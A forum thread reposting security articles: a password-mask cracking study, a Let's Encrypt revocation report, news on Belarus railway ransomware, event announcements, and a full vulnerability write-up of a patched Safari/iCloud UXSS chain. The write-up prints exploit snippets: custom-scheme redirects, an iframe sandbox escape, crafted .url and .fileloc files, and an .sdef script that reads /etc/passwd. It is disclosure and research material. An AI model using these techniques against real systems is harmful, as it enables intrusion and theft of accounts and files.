    Hashfiles Standard Brute-Force TrustedSec 5,040 hcmasks
    Initial 1M 9-character Passwords 0 (0.00%) 935 (0.09%)
    New set of 1M 9-character Passwords 0 (0.00%) 936 (0.09%)
    All Uncracked NTLM Hashes 0 (0.00%) 4 (0.00%)
    10 Characters 1 hour
    Hashfiles Standard Brute-Force TrustedSec 16,800 hcmasks
    Initial 1M 10-character Passwords Overflow 3 (0.00%)
    New set of 1M 10-character Passwords Overflow 3 (0.00%)
    All Uncracked NTLM Hashes Overflow 0 (0.00%)
    10 Characters 2 hours
    Hashfiles Standard Brute-Force TrustedSec 16,800 hcmasks
    Initial 1M 10-character Passwords Overflow 5 (0.00%)
    New set of 1M 10-character Passwords Overflow 8 (0.00%)
    All Uncracked NTLM Hashes Overflow 0 (0.00%)
    10 Characters 3 hours
    Hashfiles Standard Brute-Force TrustedSec 16,800 hcmasks
    Initial 1M 10-character Passwords Overflow 10 (0.01%)
    New set of 1M 10-character Passwords Overflow 14 (0.01%)
    All Uncracked NTLM Hashes Overflow 0 (0.00%)

    Conclusion

    Did we find a better way to crack randomly generated passwords?

    Picture8.gif

    Looking at the tables above, we can see that using these masks does get us more results in a shorter period of time when used with randomly generated passwords, but their effectiveness is not sustainable This is because the brute-force approach covers the entire possible key space, whereas our masks only cover a subset. Put another way, these masks cover the more common random password character classes instead of attempting all possible character classes, and therefore using them can sometimes result in a quicker recovery of a randomly generated password.

     

    Sursa: https://www.trustedsec.com/blog/recovering-randomly-generated-passwords/

  9.  
    Fuzzing Labs - Patrick Ventuzelo
    📥 Download source code and materials: https://academy.fuzzinglabs.com/intro... In this video, I will show how to find vulnerability inside an Ethereum smart contract written in Solidity using echidna, one of the only Ethereum smart contract fuzzer. #Fuzzing #Ethereum #Solidity 00:00 Introduction 01:00 Get started with echidna 01:50 Basic echidna test with testme.sol 03:00 Echidna invariants 05:45 Missing.sol smart contract target 07:25 Calling echidna on Missing.sol 08:40 Echinda detect the issue 09:05 Other echidna interesting examples 11:22 Goig deeper ==== 💻 FuzzingLabs Training ==== - C/C++ Whitebox Fuzzing: https://academy.fuzzinglabs.com/c-whi... - Rust Security Audit and Fuzzing: https://academy.fuzzinglabs.com/rust-... - WebAssembly Reversing and Dynamic Analysis: https://academy.fuzzinglabs.com/wasm-... - Go Security Audit and Fuzzing: https://academy.fuzzinglabs.com/go-se... ==== 🦄 Join the community ==== https://academy.fuzzinglabs.com/fuzzi... ==== 📡 Socials ==== - Twitter: https://twitter.com/FuzzingLabs - Telegram: https://t.me/fuzzinglabs Keywords: Fuzzing, Fuzz Testing, Ethereum, Solidity, ETH, smart contract Link to this video: https://youtu.be/EA8_9x4D3Vk
  10.  

    Busra Demir

     

    Hey all, This is a video tutorial on bypassing Data Execution Policy (DEP) using Return Oriented Programming (ROP) chains. We'll go through the fully manual exploitation with lots of assembly tricks. I also brainstormed on the ideas for the next videos so feel free to drop a comment. :) Hope you enjoy the tutorial. Cheers!

  11. Alert: Let's Encrypt to revoke about 2 million HTTPS certificates in two days

    Relatively small number of certs issued using a verification method that doesn't comply with policy

    Wed 26 Jan 2022 // 21:26 UTC
     

    Let's Encrypt, a non-profit organization that helps people obtain free SSL/TLS certificates for websites, plans to revoke a non-trivial number of its certs on Friday because they were improperly issued.

    In a post to the Let's Encrypt discussion community forum, site reliability engineer Jillian Tessa explained that on Tuesday, a third party reported "two irregularities" in the code implementing the "TLS Using ALPN" validation method (BRs 3.2.2.4.20, RFC 8737) in Boulder, its Automatic Certificate Management Environment (ACME) software.

    "All active certificates that were issued and validated with the TLS-ALPN-01 challenge before 0048 UTC on 26 January 2022 when our fix was deployed are considered mis-issued," explained Tessa. "In compliance with the Let's Encrypt CP [Certificate Policy], we have 5-days to revoke and will begin to revoke certificates at 1600 UTC on 28 January 2022." 

    Let's Encrypt estimates that less than one per cent of active certificates are affected; this is still a large number – about two million, according to a spokesperson – given that there are currently about 221 million active Let's Encrypt-issued certificates.

     

    Affected certificate holders will be notified of the revocation by email, at which point certificate renewal will be necessary.

    This is not the remediation of an exploit. "The update to the TLS-ALPN-01 challenge type was made to be in compliance with the Baseline Requirements, which requires use of TLS 1.2 or higher," a spokesperson for Let's Encrypt told The Register in an email.

     

    When you get a certificate from Let's Encrypt, the organization's servers attempt to validate that you have control over the relevant resources by presenting a challenge, per the ACME standard. This challenge may be conducted using HTTP, DNS, or TLS, depending upon what works or doesn't work with the client setup. It's similar in concept to sending an email verification link that must be clicked to complete the setup of an online account. 

    The TLS-ALPN-01 challenge is available for those unable or unwilling to use port 80 for an HTTP-01 challenge. According to Let's Encrypt, "It is best suited to authors of TLS-terminating reverse proxies that want to perform host-based validation like HTTP-01, but want to do it entirely at the TLS layer in order to separate concerns."

    Let's Encrypt developer Aaron Gable said in a separate post that two changes were made to the organization's verification code affecting client applications that specifically use TLS-ALPN-01. First, the software now enforces network negotiation using TLS 1.2 or higher. Previously the code allowed connections over TLS 1.1, which is now considered to be insecure.

    Second, the software no longer supports the legacy OID (Object Identifier) 1.3.6.1.5.5.7.1.30.1, which served to identify the "acmeIdentifier" extension in early versions of RFC 8737. The Let's Encrypt software now only accepts the standardized OID 1.3.6.1.5.5.7.1.31.

    Certificate verification attempts using TLS 1.1 or the discontinued OID will fail under the revised software; those certificates verified via TLS-ALPN-01 under the old code fail to comply with Let's Encrypt policy and thus need to be reissued. ®

     

    Sursa: https://www.theregister.com/2022/01/26/lets_encrypt_certificates/

  12. Hacking the Apple Webcam (again)

    Gaining unauthorized camera access via Safari UXSS: the story of how a shared iCloud document can hack every website you've ever visited.

    Ryan Pickren

    Summary

    It's been over a year since my last Apple camera hacking project, so I decided to give it another go.

     

    My hack successfully gained unauthorized camera access by exploiting a series of issues with iCloud Sharing and Safari 15. While this bug does require the victim to click "open" on a popup from my website, it results in more than just multimedia permission hijacking. This time, the bug gives the attacker full access to every website ever visited by the victim. That means in addition to turning on your camera, my bug can also hack your iCloud, PayPal, Facebook, Gmail, etc. accounts too.

    This research resulted in 4 0day bugs (CVE-2021-30861, CVE-2021-30975, and two without CVEs), 2 of which were used in the camera hack. I reported this chain to Apple and was awarded $100,500 as a bounty.

    Safari UXSS

    Background

    Apple fixed my last 0day chain (CVE-2020-3852 + CVE-2020-3864 + CVE-2020-3865) by making camera access drastically more difficult. Now multimedia access is only allowed when the protocol is "https:" and the domain matches your saved settings. This means that cleverly malformed URIs won't cut it anymore. Now we need to genuinely inject our evil code into the target origin. In other words, we need to find a Universal Cross-Site Scripting (UXSS) bug.

     

    But what exactly is UXSS? Google Project Zero has a nice summary in their paper, "Analysis of UXSS exploits and mitigations in Chromium" - 

    "UXSS attacks exploit vulnerabilities in the browser itself [...] to achieve an XSS condition. As a result, the attacker does not just get access to user session on a single website, but may get access to any [website]."

    The authors of this paper go on to call UXSS "among the most significant threats for users of any browser" and "almost as valuable as a Remote Code Execution (RCE) exploit with the sandbox escape." Sounds pretty great, right? Imagine building a website that can jump into https://zoom.com to turn on the camera, hop into https://paypal.com to transfer money, and hijack https://gmail.com to steal emails. 

    Before we go any further, I should clarify how exactly this bug differs from my last Safari Camera Hacking project. That bug specifically targeted stored multimedia permissions. It did not give me the ability to execute code on arbitrary origins. Check out my attack diagram to see which origins were being used. In other words, that hack let me leverage Skype's camera permission but did not let me steal Skype's cookies. 

    Let's try to find a UXSS bug in the latest version of Safari (Safari v15 beta at time of writing). As always, the first step is to do a lot of research into prior work. After all, the best security research comes from standing on the shoulders of giants.

    The Attack Plan

    After reading numerous write-ups about patched Safari UXSS bugs, I decided to focus my research on webarchive files. These files are created by Safari as an alternative to HTML when a user saves a website locally.

    Screen Shot 2021-08-12 at 10.43.16 AM.png

    Safari saving a website as a Webarchive file

    A startling feature of these files is that they specify the web origin that the content should be rendered in.

    Apple Webarchive File Format

    Webarchive File Format

    This is an awesome trick to let Safari rebuild the context of the saved website, but as the Metasploit authors pointed out back in 2013, if an attacker can somehow modify this file, they could effectively achieve UXSS by-design.

    According to Metasploit, Apple did not view this attack scenario as very realistic because "the webarchives must be downloaded and manually opened by the client." Granted this decision was made nearly a decade ago, when the browser security model wasn't nearly as mature as it is today.

    Apple's decision to support this ultra-powerful filetype gave way to an era of hackers trying to forcefully open them on victims' machines. Fundamentally, this attack can be broken into two steps:

    1) Forcefully download an evil webarchive file

    2) Forcefully open it

    Until recently, there were no protections to prevent step #1. Prior to Safari 13, no warnings were even displayed to the user before a website downloaded arbitrary files. So planting the webarchive file was easy. (Now with Safari 13+, users are prompted before each download)

    Opening the webarchive file was trickier, but still manageable by somehow navigating to the file:// URI scheme. Back when Safari's error pages lived on the file:// scheme, hackers figured out how to purposely invoke an error page to just alter its pathname, a hack delightfully dubbed "Errorjacking." See here and here for two variations. Another approach that worked back in the day was to simply set the <base> tag to file://.

    Fast forward to 2022 and things get a lot harder. Not only are auto-downloads prevented by default, but webarchive files are considered malicious applications by macOS Gatekeeper. This means that users can't even manually open foreign webarchives themselves anymore. Apple seems to have changed their 2013 stance about how dangerous these files can be.

    Screen Shot 2021-08-12 at 1.17.50 PM.png

    Download prompt in Safari 13+

    Gatekeeper Webarchive Prompt

    Gatekeeper Launch Prevention

    Still, webarchive files just seem too juicy to give up on. Let's explore how this old-school hack can still occur on the latest Safari and macOS builds.

    Exploration of custom URI Schemes

    I found success with my last Safari Camera Hacking project by conducting a deep dive into official IANA-registered URI schemes. This project was heavily guided by RFCs and public documentation. But there is an entire world of custom URL schemes that I neglected to talk about. These unofficial and (mostly) undocumented schemes are usually used by third party iOS/macOS apps as a form of deep linking. There is actually an entire community built around discovering and using these schemes cross-app for both fun and hacking projects.

    An interesting note is that several first-party system apps such as Apple Help Viewer (help://), FaceTime (facetime-audio://), and Apple Feedback (applefeedback://) also support custom URI schemes. Abusing these schemes from a website in Safari is not a novel technique. Indeed, hackers have been finding ways to use custom schemes to launch (and exploit bugs in) system applications for a while now. Hacks range from annoyingly placing callsaiding in social engineering, to arbitrary file execution. Seriously, there is some awesome research in this space.

    To help combat these attacks, modern versions of Safari warn the user before blindly launching secondary applications. That is, unless they are one of the hardcoded exceptions identified in this great Blackhat presentation

    Screen Shot 2021-08-12 at 2.33.07 PM.png

    Custom URI Schemes that Safari will launch without Prompt

    All of these schemes are registered with Launch Services, so you can list them (and others) via this command:

    /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -B6 bindings:.*: | grep -B6 apple-internal

    After digging through internal Apple schemes and cross-referencing them with the ones trusted by Safari, I found one that caught my eye- "icloud-sharing:". This scheme appears to be registered by an iCloud Sharing Application called "ShareBear."

    Screen Shot 2021-08-12 at 2.38.00 PM.png

    LaunchServices data about the icloud-sharing: scheme

    ShareBear was interesting to me because sharing iCloud documents seemed like a plausible path towards downloading & launching webarchive files. I couldn't find any publicly available documentation or research about this scheme so I just started poking at it myself.

    ShareBear Application

    At this point we have identified an application that can be automatically launched by Safari, however we do not know how to correctly open it yet. Luckily, it was pretty straight forward.

    Some quick research shows that iCloud File Sharing can generate a public Share Link.

    d69b081b8b7300b9da7fe35cb6fdaad1.png

    Creating a public iCloud Share Link

    These Share Links look something like this:

     

    https://www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem

    Simply replacing "https" with "icloud-sharing" is all that's needed to have Safari automatically open ShareBear with this file as a parameter. 

     

    <script>

    location.href = 'icloud-sharing://www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem"

    </script>

    evil.html

    Great, so what does ShareBear do now? Some quick testing showed this behavior:

    sharebear.png

    ShareBear Behavior Flowchart

    There is a subtle, but wildly impactful, design flaw with this behavior. Let's dig into what happens if the user has not opened this file before. The user will be shown a prompt, similar to the one below.

    propt.png

    ShareBear Open Prompt

    This innocuous little prompt, with the default value of "Open," seems pretty straightforward. A user should expect to have the image, example.png, opened if they agree. But in actuality, they are agreeing to much more than that.

     

    Once the user clicks Open, the file is downloaded onto the victim's machine at the location /Users/<user>/Library/Mobile Documents/com~apple~CloudDocs then automatically opened via Launch Services. Then the user will never see this prompt again. From that point forward, ShareBear (and thus any website in Safari) will have the ability to automatically launch this file. The truly problematic part of this agreement is that the file can be changed by anybody with write access to it. For example, the owner of the file could change the entire byte content and file extension after you agree to open it. ShareBear will then download and update the file on the victim's machine without any user interaction or notification.

     

    In essence, the victim has given the attacker permission to plant a polymorphic file onto their machine and the permission to remotely launch it at any moment. Yikes.

    Agreed to view my PNG file yesterday? Well today it's an executable binary that will be automatically launched whenever I want.

     

    Apple fixed this behavior in macOS Monterey 12.0.1 as a result of my report without issuing a CVE because it is more of a design flaw than a bug per-se.

    Bonus Bug: Iframe Sandbox Escape

    While fuzzing the icloud-sharing:// scheme, I stumbled upon a fun bug unrelated to the UXSS hunt. ShareBear appears to check the path of the URL for "/iclouddrive/*" before performing the behavior outlined above. If the path happens to be "/photos/*" then ShareBear makes a pretty silly mistake. It will tell Safari to open a new tab pointing to the iCloud web app... but it does not verify that the domain name is actually the iCloud web app.

    In normal operation, the user is simply presented with the website, "https://photos.icloud.com." However because this domain name is never validated, we can trick ShareBear into instructing Safari into opening a new tab to any website.

     

    The implications of this behavior may not be obvious. This doesn't seem all that different than just calling window.open('https://example.com') normally. However there are situations in the web where websites aren't allowed to do that. One example is if popup blocker is enabled. Another, more devious, example is when your website is inside of a sandboxed iframe.

    The sandbox iframe attribute is typically used when you want to embed untrusted 3rd party content on your website. For example, you may want to display an ad banner on your blog but you don't want this ad to be able to run JavaScript (who knows, maybe the ad author has a browser 0day).

    iframe-sandbox.png

    An important rule for sandboxed iframes is that new windows opened from that iframe should inherit the same restrictions as the iframe itself. Otherwise escaping the sandbox would be as trivial as opening a popup.

    Well this bug tricks Safari into opening a 'fresh' new tab without any sandbox restrictions!

     

    <html>    

      <head>      

        <meta http-equiv="refresh" content="0;URL='icloud-sharing://example.com/photos/foo'" />    

      </head>     

    </html>

    Website trapped in a Sandboxed Iframe

    So ShareBear neglecting to verify the domain gives us an easy popup-blocker bypass and an iframe sandbox escape. Nice! (fixed in Safari 15.2 without being assigned a CVE) Live demo on BugPoC - https://bugpoc.com/poc#bp-S4HH6YcO PoC ID: bp-S4HH6YcO, Password: loVEDsquId01. Note this demo will only work with Safari <15.2 pre macOS Monterey 12.1.

     

    Now back to the Camera/UXSS hunt.

    Quarantine and Gatekeeper

    Quick reminder of where we are -

    Our website can prompt the user to open a shared PNG file. If the user agrees, we can automatically launch this file at any point in the future, even after we alter the file content and extension.

    staging.png

    The attacker can then modify the file on his own machine and ShareBear will take care of updating it on the victim's machine.

    Attacker's Machine

     
     
    
    00:0000:20
     
     

    Victim's Machine

     
    00:0000:05
     

    Mutating the Polymorphic File

    The attacker's website can then automatically launch this newly-updated file using the same icloud-sharing:// URL that he used to display the original prompt.

    launching.png

    This seems very close to our goal of forcefully downloading & opening an evil webarchive file. We can just swap out the content of puppy.png for a webarchive file and rename it "evil.webarchive", right? Unfortunately for us, pesky macOS Gatekeeper won't allow that.

    Screen Shot 2021-08-12 at 1.19.38 PM.png

    Gatekeeper Launch Prevention

    It appears that ShareBear correctly gives downloaded files the 'com.apple.quarantine' attribute and according to Apple, "Gatekeeper prevents quarantined executable files and other similar files (shell scripts, web archives, and so on) from opening or executing." For a deep dive into how macOS treats this attribute, as well as how Gatekeeper performs code signing, check out this great write-up.

    For our purposes, there are two big limitations introduced by this OS protection -

    1) We can't run our own apps  

    2) We can't directly open webarchive files

     

    Side Bar - while we can't run our own apps, launching existing, approved, apps is trivial. Just use a fileloc to point to a local app (this technique is quite common). This attack is sometimes referred to as "Arbitrary File Execution" and is often misunderstood because it looks so scary.

     

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">

    <plist version="1.0">

    <dict>

        <key>URL</key>

        <string>file:///System/Applications/Calculator.app</string>

    </dict>

    </plist>

    fileloc pointing to macOS Calculator

     
    00:0000:06
     

    Using the icloud-sharing:// scheme to launch the fileloc

    While this attack might look scary, launching an already-approved app doesn't have much impact. Let's focus on opening webarchives.

    Shortcuts

    The above technique to open local apps is reminiscent of an old-school symlink attack. It basically just uses a "shortcut" to trick software into opening something it doesn't expect.

    Lots of different operating systems and applications have reinvented the wheel over the years when it comes to shortcuts. Nowadays, the term "shortcut" could be referring to a Unix symlink, a macOS alias, a Window's linkfile, a Safari webloc, an Edge bookmark, etc. 

    I was hopeful that I could use this technique to bypass Gatekeeper and open a webarchive file. This idea seemed promising to me because the actual application I want to open is Safari (an existing, approved, application). Gatekeeper doesn't have a problem with me launching Safari, it just gets upset when I attempt to open any file ending in ".webarchive".

    So I needed to find a shortcut filetype that launches Safari, then tells Safari to open a different file. After some trial and error, I found just that - the ancient Windows URL File!

     

    [{000214A0-0000-0000-C000-000000000046}]

    Prop3=19,2

    [InternetShortcut]

    URL=file:///path/to/webarchive

    IDList=

    evil.url file pointing to a local webarchive

    Launching evil.url successfully opens Safari and instructs it to load the webarchive file without asking Gatekeeper for permission! (CVE-2021-30861) There was only one small hiccup - I need to know the full path to the webarchive file. Assuming the webarchive gets downloaded via ShareBear, it will live in /Users/<user>/Library/Mobile Documents/com~apple~CloudDocs, which includes the victim's username (not a very scalable attack).

    Luckily, there is a neat trick to circumvent this requirement - we can mount the webarchive file into the known /Volumes/ directory using a DMG file.

     
    00:0000:09
     

    Using the icloud-sharing:// scheme to mount the dmg

    Now we know exactly where the webarchive file resides. Which means the below evil.url file will work every time.

     

    [{000214A0-0000-0000-C000-000000000046}]

    Prop3=19,2

    [InternetShortcut]

    URL=file:///Volumes/folder/evil.webarchive

    IDList=

    evil.url file pointing to a known-location local webarchive

     
    00:0000:10
     

    Using the icloud-sharing:// scheme to launch evil.url to open evil.webarchive

    And just like that, we are executing JavaScript code anywhere we want. The above screen recording injects 'alert(origin)' in https://google.com.

    Let's tie this together into one final attack.

    Full Chain

    Using ShareBear to download and open a webarchive file for us can be broken down into 3 steps:

    1) Trick the victim into giving us permission to plant the polymorphic file

    staging.png

    2) Turn puppies.png into evil.dmg and launch it

    mount.png

    3) Turn evil.dmg into evil.url and launch it

    urlfile.png

    Of course turning "File A" into three different payloads will require some server-side coordination. Another (less fun) way to pull-off this attack is to have the victim agree to open a shared folder that already has all the files ready-to-go.

     
    00:0000:12
     
     

    Screen Recording of UXSS via viewing an iCloud Shared Folder

    In the above screen recording, the victim agrees to view a folder that contains some PNG images. This folder also has two hidden files - .evil.dmg & .evil.url.

    The website uses the icloud-sharing:// URL Scheme to automatically launch both of the hidden files to successfully bypass Gatekeeper and open a webarchive file. Note that no additional prompts are displayed to the victim after he agrees to view the shared folder. The example webarchive file above injects code into https://www.icloud.com to exfiltrate the victim's iOS camera roll.

     

    Of course this is just an example, this UXSS attack allows the attacker to inject arbitrary code into arbitrary origins. It would be just as easy to inject JavaScript code to turn on the webcam when hijacking a trusted video chat website like https://zoom.us or https://facetime.apple.com. Mission accomplished. 

    Ryan Pickren hacked Apple Webcam

    Screenshot of UXSS hijacking Zoom Website to turn on webcam

    Remediation

    So how did Apple fix these issues?

    The first fix was to have ShareBear just reveal files instead of launch them (fixed in macOS Monterey 12.0.1 without being assigned a CVE). 

    The second fix was to prevent WebKit from opening any quarantined files (fixed in Safari 15 as CVE-2021-30861; see fix implementation here).

    Bonus Material (#1)

    Before I discovered the evil.url trick, I actually found a different way to trick Launch Services into (indirectly) opening a webarchive file. I found this bug on the latest public release of Safari (v14.1.1). A few days after reporting this bug to Apple, they informed me that the beta Safari v15 was not vulnerable. It appeared that an unrelated code refactor made v15 impervious. For completeness sake, I will quickly go over that bug anyway- 

    The obvious way to open Safari via Launch Services is with a local html file. Once opened, this page will have the file:// URI scheme. From there, JavaScript is allowed to navigate to other file:// URIs.

     

    <script>

    location.href = 'file:///path/to/another/local/file'; // ok if location.protocol == 'file://'

    </script>

    local HTML file navigating to another local file

    So what happens if the file we are navigating to is a webarchive? Well, Safari just hangs.

     
    00:0000:14
     

    Screen Recording of Safari refusing to render a webarchive

    This annoying hang occurred for every type of page navigation I could think of (anchor href, iframe src, meta redirect, etc.) when the destination file was a webarchive. 

    Then I found this bug:

     

    <script>

    location.href = 'file://fake.com/path/to/evil.webarchive'; 

    </script>

    local HTML file navigating to a local webarchive file

    Safari forgets to perform the webarchive check when there is a host value in a file:// URL! Funny enough, this bug appears to have been introduced when Apple fixed my old file:// bug (CVE-2020-3885).

     

    When Apple informed me that Safari Beta v15 wasn't vulnerable, I went back to the drawing board and found the evil.url hack.

    Bonus Material (#2)

    There was still one thing that bugged me after I finished the UXSS chain.... it can't be used to steal local files. Sure, UXSS can be used to indirectly steal files by injecting code into https://dropbox.com or https://drive.google.com, but files exclusively on the victim's hard drive are out of reach. 

    The excellent Blackhat Presentation I referenced earlier inspired me to look for other System applications that could run my JavaScript in a more privileged context than Safari. After digging around for a while, I stumbled upon an obscure filetype recognized my macOS Script Editor called "Scripting Additions" (.osax). These files (or rather 'bundles') contained a nested xml-based file called a "Dictionary Document" (.sdef). This dictionary document was used to display human-readable, developer-defined, terms used by an AppleScript application. Phew.

    The important discovery was that these xml-based files are allowed to contain HTML. As it turns out, the HTML renderer also has a JavaScript engine and this engine does not enforce SOP! (fixed in macOS Big Sur 11.6.2 as CVE-2021-30975) Which means stealing /etc/passwd is easy-

     

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE dictionary SYSTEM "">

    <dictionary>

        <suite name="" code="">

            <command name="" code="" description="">

            </command>

                <documentation>

                <html>

                    <![CDATA[

                        <script>

     

                            fetch('file:///etc/passwd').then(x=>{x.text().then(y=>{document.write(y);})})

     

                        </script>

                    ]]>

                </html>

                </documentation>

        </suite>

    </dictionary>

    evil.sdef displaying the content of /etc/passwd

    Luckily for us, Gatekeeper does not mind us opening Scripting Addition files. So we just take evil.sdef, package it in evil.osax, and send it to the victim via ShareBear. Then our icloud-sharing:// URI can automatically launch it in Script Editor.

     
    00:0200:06
     

    Screen Recording of ShareBear opening evil.osax to steal /etc/passwd

    Nice, so now in addition to UXSS, this hack can also circumvent sandbox restrictions and steal local files!

    Conclusion

    This project was an interesting exploration of how a design flaw in one application can enable a variety of other, unrelated, bugs to become more dangerous. It was also great example of how even with macOS Gatekeeper enabled, an attacker can still achieve a lot of mischief by tricking approved apps into doing malicious things.  

    I submitted these bugs to Apple in mid July 2021. They patched all issues in early 2022 and rewarded me $100,500 as a bounty.

     

    Sursa: https://www.ryanpickren.com/safari-uxss

    • Thanks 2
  13. Apple pays record $100,500 to student who found Mac webcam hack

    William Gallagher | Jan 25, 2022
    article thumbnail

    AppleInsider is supported by its audience and may earn commission as an Amazon Associate and affiliate partner on qualifying purchases. These affiliate partnerships do not influence our editorial content.

    A cyber security student has shown Apple how hacking its Mac webcams can then also leave devices fully open to hackers, earning him $100,500 from the company's bug bounty program.

     

    Ryan Pickren, who previously discovered an iPhone and Mac camera vulnerability, has been awarded what is believed to be Apple's largest bug bounty payout.

    According to Pickren, the new webcam vulnerability concerned a series of issue with Safari and iCloud that he says Apple has now fixed. Before it was patched, a malicious website could launch an attack using these flaws.

     

    In his full account of the exploit, Pickren explains it would give the attacker full access to all web-based accounts, from iCloud to PayPal, plus permission to use the microphone, camera, and screensharing. If the camera were used, however, its regular green light would still come on as normal.

    Pickren reports that the same hack would ultimately mean that an attacker could gain full access to a device's entire filesystem. It would do so by exploiting Safari's "webarchive" files, the system the browser uses to save local copies of websites.

    "A startling feature of these files is that they specify the web origin that the content should be rendered in," writes Pickren. "This is an awesome trick to let Safari rebuild the context of the saved website, but as the Metasploit authors pointed out back in 2013, if an attacker can somehow modify this file, they could effectively achieve UXSS [universal cross-site scripting] by design."

    A user has to download such a webarchive file, and then also open it. According to Pickren, this meant Apple did not consider this a realistic hack scenario when it first implemented Safari's webarchive.

    "Granted this decision was made nearly a decade ago, when the browser security model wasn't nearly as mature as it is today," says Pickren.

    Tightening security

    "Prior to Safari 13, no warnings were even displayed to the user before a website downloaded arbitrary files," he continued. "So planting the webarchive file was easy."

    Apple has not commented on the bug, nor is it known if it has been actively exploited. But Apple has paid Pickren $100,500 from its bug bounty program, $500 more than previously reported pay outs.

    The bug bounty program can officially award up to $1 million, and the company publishes a list of maximum sums per category of security issue reported. There is no requirement for security experts to publicly disclose how much they've been awarded.

    So it's possible that Apple has paid out more than Pickren's $100,500. However, the company has previously been greatly criticized for paying less than its own maximums, as well as for being slow to patch reported bugs.

     

    Sursa: https://appleinsider.com/articles/22/01/25/apple-pays-record-100500-to-student-who-found-mac-webcam-hack

    • Upvote 1
  14. Un grup de hackeri pretinde că a perturbat transportul trupelor ruseşti spre Ucraina, prin Belarus, în urma infectării cu ransomware a serverelor folosite de sistemul feroviar din Belarus.

    Belarusian Cyber-Partisans, grup de hackeri care se opune regimului Lukashenko, pe care-l şi numesc terorist, a anunţat pe Twitter să a atacat şi compromis cu ransomware sistemul naţional de cale ferată din Belarus.  

     

    Aceştia spun că au reuşit să cripteze un număr semnificativ de servere şi au distrus backup-urile pentru a încetini şi chiar a întrerupe transportul trupelor ruseşti pe calea ferată.   Experţii în securitate nu au confirmat atacul, însă, spun că primele indicii arată, într-adevăr, că cineva a pătruns în reţeaua BelZhD şi că este prima oară când ransomware-ul este folosit într-o astfel de manieră.  

     

    Mai multe site-uri ale BelZhD nu funcţionează în prezent, afectând diverse servicii publice, precum achiziţionarea online a biletelor.  

     

    Conform mai multor surse, Rusia transportă trupe spre Ucraina, prin Belarus, către graniţa dintre cele două ţări. Oficialii din Belarus susţin că mutarea trupelor are loc în vederea unui exerciţiu militar comun.

    Sursa: https://adevarul.ro/international/europa/hackerii-atacat-ransomware-sistemul-feroviar-belarus-opri-transportul-trupelor-rusesti-granita-belarus-ucraina-1_61ef88e25163ec42711dae02/index.html

    • Upvote 4
  15. Salut,

     

    RST Con #2 va avea loc in zilele de 16-17 martie 2022. In aceeasi perioada va avea loc si RST Con CTF #2.

     

    Astfel, persoanele interesate de createa unui exercitiu pentru CTF sunt rugate sa ma contacteze prin mesaj privat sau la contact@rstcon.com 

    Exercitiile pot fi de orice nivel si pot acoperi orice ramura a "security"-ului.

    Daca sunt necesare VPS-uri le veti primi cu ceva timp inainte de CTF. 

    Intre timp voi lucra la https://rstcon.com , platforma CTF si alte lucruri necesare. 

     

    De asemenea, vrem sa oferim ca si anul trecut premii castigatorilor. Daca exista persoane care pot dona pentru CTF, astept sa ma contactati. 

     

    Daca aveti intrebari sau sugestii, le astept aici.

     

    Thanks!

    • Upvote 2
  16. Salut,

     

    Din moment ce primavara nu sunt multe conferinte, am decis ca ar fi o perioada ideala pentru RST Con #2. Conferinta va fi online, gratuita si in limba romana.

     

    Detalii: https://rstcon.com/ 

     

    Date conferinta: 17-18 martie 2022 (joi si vineri)

     

    Events: 

     

    Linkedin: https://www.linkedin.com/events/rstcon-26894664423269556224/about/     

    Facebook: https://www.facebook.com/events/312925840851762/  

     

    Inregistrare (Zoom): 

     

    - Prima zi (17 martie): https://us02web.zoom.us/webinar/register/7716432416217/WN_ihd6n-QbT9SmhUFEEiOouw
    - A doua zi (18 martie): https://us02web.zoom.us/webinar/register/8216433285169/WN_FvmdS_d2SJSo-OJpFaNRMA

     

    Call for papershttps://rstcon.com/call-for-papers/

    CTFhttps://rstcon.com/ctf/

     

    Lucrez in continuare la lucrurile necesare (e.g. platforma CTF).

     

    Thanks! 

    • Upvote 4
×
×
  • Create New...